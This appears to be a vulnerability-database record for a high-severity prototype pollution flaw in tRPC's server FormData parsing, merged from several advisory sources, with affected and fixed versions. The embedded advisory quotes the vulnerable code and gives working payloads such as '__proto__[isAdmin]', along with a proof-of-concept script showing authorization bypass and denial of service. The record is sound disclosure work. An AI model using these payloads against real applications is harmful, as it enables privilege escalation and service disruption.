{"id":"CVE-2025-68130","aliases":["EUVD-2025-203822","GHSA-43p4-m455-4f4j"],"status":"published","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","description":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","severity":{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00397,"percentile":0.34203,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2025-12-16T16:50:42Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"npm","package":"@trpc/server","fixed_in":["10.45.3","11.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@trpc/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.27.0"},{"fixed":"10.45.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@trpc/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.8.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@trpc/server","ranges":[{"type":"SEMVER","events":[{"introduced":"10.27.0"},{"fixed":"10.45.3"}]}]},{"source":"osv","ecosystem":"npm","package":"@trpc/server","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.8.0"}]}]}],"products":[{"vendor":"trpc","product":"trpc"}],"references":[{"url":"https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68130","tags":["advisory"]},{"url":"https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-43p4-m455-4f4j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68130.json","tags":["advisory"]},{"url":"https://github.com/trpc/trpc","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-68130","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","description":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","status":"published","published":"2025-12-16T16:50:42.542Z","modified":"2025-12-16T21:38:37.366Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:32:35.742256Z"}],"euvd":[{"id":"EUVD-2025-203822","description":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","status":"published","published":"2025-12-16T16:50:42Z","modified":"2025-12-16T21:38:37Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high"}],"updated_at":"2026-11-02T19:49:04.015486Z"}],"ghsa":[{"id":"GHSA-43p4-m455-4f4j","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","description":"\u003e Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** \u003e=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length \u003e 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // ← No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // ← Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" → [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData \u0026\u0026 input instanceof FormData) {\n  input = formDataToObject(input);  // ← Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // → \"true\"\n{}.role           // → \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log('    __proto__[isAdmin] = \"true\"');\nconsole.log('    __proto__[role] = \"superadmin\"');\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Después del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorización:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    ✓ Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```","status":"published","published":"2025-12-16T19:37:57Z","modified":"2025-12-16T19:37:58Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:13.204325Z"}],"nvd":[{"id":"CVE-2025-68130","description":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","status":"published","published":"2025-12-16T17:16:11.243Z","modified":"2026-10-13T11:10:00.203Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:11:51.309584Z"}],"osv":[{"id":"CVE-2025-68130","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","description":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","status":"published","published":"2025-12-16T16:50:42.542Z","modified":"2026-10-28T02:30:32.804287816Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:52.53036Z"},{"id":"GHSA-43p4-m455-4f4j","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","description":"\u003e Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** \u003e=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length \u003e 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // ← No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // ← Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" → [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData \u0026\u0026 input instanceof FormData) {\n  input = formDataToObject(input);  // ← Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // → \"true\"\n{}.role           // → \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log('    __proto__[isAdmin] = \"true\"');\nconsole.log('    __proto__[role] = \"superadmin\"');\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Después del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorización:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    ✓ Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```","status":"published","published":"2025-12-16T19:37:57Z","modified":"2026-09-10T03:50:31.282502907Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:36.434231Z"}]}}
